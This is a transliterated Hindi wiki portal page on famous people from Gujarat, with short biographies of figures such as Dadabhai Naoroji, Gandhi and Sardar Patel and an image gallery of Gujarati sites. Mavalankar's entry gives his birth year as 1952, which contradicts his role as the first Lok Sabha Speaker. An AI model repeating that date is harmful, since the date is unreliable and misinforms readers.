dada bhaee nauroji	4 sitanbar, 1825 ko gujarat ke navasari mean janme dada bhaee nauroji ka janm ek garib parivar mean hua tha. dadabhaee nauroji ko bharatiy rajaniti ka pitamah kaha jata hai. vah diggaj rajaneta, udyogapati, shikshavid aur vicharak bhi the. unhoanne british upanivesh ke prati buddhijivi varg ke sammohan ko khatm karane ka prayas kiya. ...aur padhean	dada bhaee nauroji |50px
rashtrapita mahatma gaandhi	mahatma gaandhi ko british shasan ke khilaf bharatiy rashtriy aandolan ka neta aur rashtrapita mana jata hai. inaka poora nam mohanadas karamachand gaandhi tha. rajanitik aur samajik pragati ki prapti hetu apane ahiansak virodh ke siddhaant ke lie unhean aantarashtriy khyati prapt huee. ...aur padhean	mahatma gaandhi|50px|link=mahatma gaandhi
jamashed ji tata	jamashedaji tata ka janm sanh 1839 mean gujarat ke ek chhote se kasbe navaseri mean hua tha unake pita ji ka nam nusiravanaji tha v unaki mata ji ka nam jivanabaee tata tha. jamashedaji vartaman mean bharat ke vishvaprasiddh audyogik gharane tata samooh ke sansthapak the. ...aur padhean	jamashed ji tata|50px
saradar vallabhaee patel	saradar vallabh bhaee patel ka janm 31 aktoobar, 1875, nadiyad gujarat mean hua tha. saradar patel bharatiy bairistar aur rajaneta the. bharat ke svadhinata sangram ke dauran bharatiy rashtriy kaangres ke netaoan mean se ek the. 1947 mean bharat ki azadi ke bad pahale tin varsh vah up pradhanamantri, grih mantri, soochana mantri aur rajy mantri rahe. ...aur padhean	saradar vallabhaee patel|50px|link=saradar patel
svami dayanand sarasvati	svami dayanand sarasvati ka janm gujarat ke bhootapoorv moravi rajy ke ek gaanv mean sanh 1824 ee. mean hua tha. inaka praranbhik nam moolashankar tatha pita ka nam ambashankar tha. svami dayanand balyakal mean shankar ke bhakt the. ye ary samaj ke pravartak aur prakhar sudharavadi sannyasi the. ...aur padhean	dayanand sarasvati|50px|link=dayanand sarasvati
moraraji desaee	moraraji desaee ka janm 29 faravari, 1896 ko gujarat ke bhadeli namak sthan par hua tha. ve bharat ke chauthe pradhanamantri the. unaka sanbandh ek brahman parivar se tha. unake pita ranachho daji desaee bhavanagar (saurashtr) mean ek skool adhyapak the....aur padhean	moraraji desaee|50px|link=moraraji desaee
kanhaiyalal muanshi	kanhaiyalal muanshi (janm- 29 disanbar, 1887; mrityu- 8 pharavari, 1971) jinaka poora nam kanhaiyalal manikalal muanshi tha, ka janm bh doch (gujarat) uchch sushikshit bhagarv brahman parivar mean hua tha. ve pratibhavan vidyarthi the aur qanoon ki padhaee ki aur muanbee mean vakalat ki. ...aur padhean	kanhaiyalal muanshi|50px|link=kanhaiyalal muanshi
vitthalabhaee patel	vitthalabhaee patel ka janm sanh 1873 mean gujarat ke khe da zila ke "karamasad" gaanv mean hua tha. saradar vallabh bhaee patel ke bade bhaee vitthal bhaee patel ek mahanh rajanitijn aur svatantrata senani the jinhoanne kabhi bhi jhukana nahian sikha. ...aur padhean	vitthalabhaee patel|50px|link=vitthalabhaee patel
ganesh vasudev mavalankar	ganesh vasudev mavalankar ka janm 15 mee, 1952 ko gujarat ke ahamadabad nagar mean hua tha. bharatiy lokasabha ke pratham adhyaksh the. bharatiy sansadiy pranali par amit chhap chho dane vale ganesh vasudev mavalankar ne lokasabha ke pahale adhyaksh ke roop mean n sirf sadan ka kary behatarin dhang se chalaya balki use nee garima bhi pradan ki. ...aur padhean	ganesh vasudev mavalankar|50px|link=ganesh vasudev mavalankar
mahaboob khan	mahaboob khan ka janm 1906 mean gujarat ke bilamiriya mean hua tha. inaka mool nam ramajan khan tha. hindi sinema jagath ke yugapurush mahaboob khan ko ek aisi shakhsiyat ke taur par yad kiya jata hai jinhoanne darshakoan ko lagabhag tin dashak tak klasik filmoan ka tohapha diya. ...aur padhean	mahaboob khan|50px|link=mahaboob khan

link=praangan:mukhaprishth/bharat ganarajy/gujarat

vistar mean padhean gujarat praangan (portal)

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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chitr vithika

• chitr:Statue-Gandhi.jpg

  mahatma gaandhi ji ki pratima

• chitr:Laxmi-Vilas-Palace-Vadadora.jpg

  lakshmi vilas pailes, v dodara

• chitr:Kala-Dungar-Kutch-7.jpg

  kala dooangar, kachchh

• chitr:Poha-Gujarat.jpg

  gujarat ka prasiddh nashta poha, pohe banane ka karakhana, gujarat

• chitr:Prag-Mahal-Bhuj-8.jpg

  prag mahal, bhuj

• chitr:Kala-Dungar-Kutch-8.jpg

  kala dooangar, kachchh

• chitr:Prag-Mahal-Bhuj.jpg

  prag mahal, bhuj

• chitr:Rann-Of-Kachchh-2.jpg

  kachchh ka ran, kachchh, gujarat

• chitr:Statue-of-Gandhiji-Gandhi-Ashram-Ahmedabad.jpg

  gaandhiji ki pratima, gaandhi ashram, ahamadabad

• chitr:Rann-Of-Kachchh-1.jpg

  kachchh ka ran, kachchh, gujarat

• chitr:Cactus-Gujarat.jpg

  kachchh ka ran mean kaiktas, gujarat

• chitr:Sun-Temple-Modhera-Gujarat.jpg

  soory mandir, modera, gujarat

• chitr:Bhadreshwar-Jain-Temple-Kutch.jpg

  bhadreshvar jain mandir, kachchh, gujarat

• chitr:Prag-Mahal-Bhuj-13.jpg

  prag mahal, bhuj

• chitr:Bhimasar-Lake-Kachchh-Gujarat..jpg

  bhimasar jhil, kachchh, gujarat

• chitr:Indian-Farmer-Ghungti-Village-Junagdh.jpg

  khet ki jutaee karata kisan, joonagadh, gujarat

• chitr:Prag-Mahal-Bhuj-7.jpg

  prag mahal, bhuj

• chitr:Dandiya-Raas-Gujarat-1.jpg

  daandiya nrity, gujarat

• chitr:Market-Gujarat.jpg

  kap doan ki dukan, gujarat

• chitr:Rann-Of-Kachchh-4.jpg

  kachchh ka ran, kachchh, gujarat

• chitr:Rann-Of-Kachchh-5.jpg

  kachchh ka ran, kachchh, gujarat

• chitr:Prag-Mahal-Bhuj-6.jpg

  prag mahal, bhuj

• chitr:Kala-Dungar-Kutch-1.jpg

  kala dooangar, kachchh

• chitr:Prag-Mahal-Bhuj-5.jpg

  prag mahal, bhuj

• chitr:Porbandar-Gujarat-19.jpg

  mahatma gaandhi ka asan, kirti mandir, porabandar

• chitr:Porbandar-Gujarat-23.jpg

  mahatma gaandhi ka janmasthan, kirti mandir, porabandar

• chitr:Porbandar-Gujarat-2.jpg

  kirti mandir, porabandar

• chitr:Porbandar-Gujarat-9.jpg

  mahatma gaandhi ki alamari, kirti mandir, porabandar

• chitr:Rukmini-Temple-Gujarat.jpg

  rukmini mandir, gujarat

• chitr:Tomb-Of-Sikander-Shah-At-Champaner-In-Gujarat.jpg

  sikandar shah ka makabara, gujarat

tika tippani aur sandarbh

1. REDIRECT saancha:tippanisoochi

bahari k diyaan

• gujarat ki adhikarik vebasait
• bharat ki adhikarik vebasait
• gujarat
• gujarat paryatan
• laiv hiandustan
• gujarat

sanbandhit lekh

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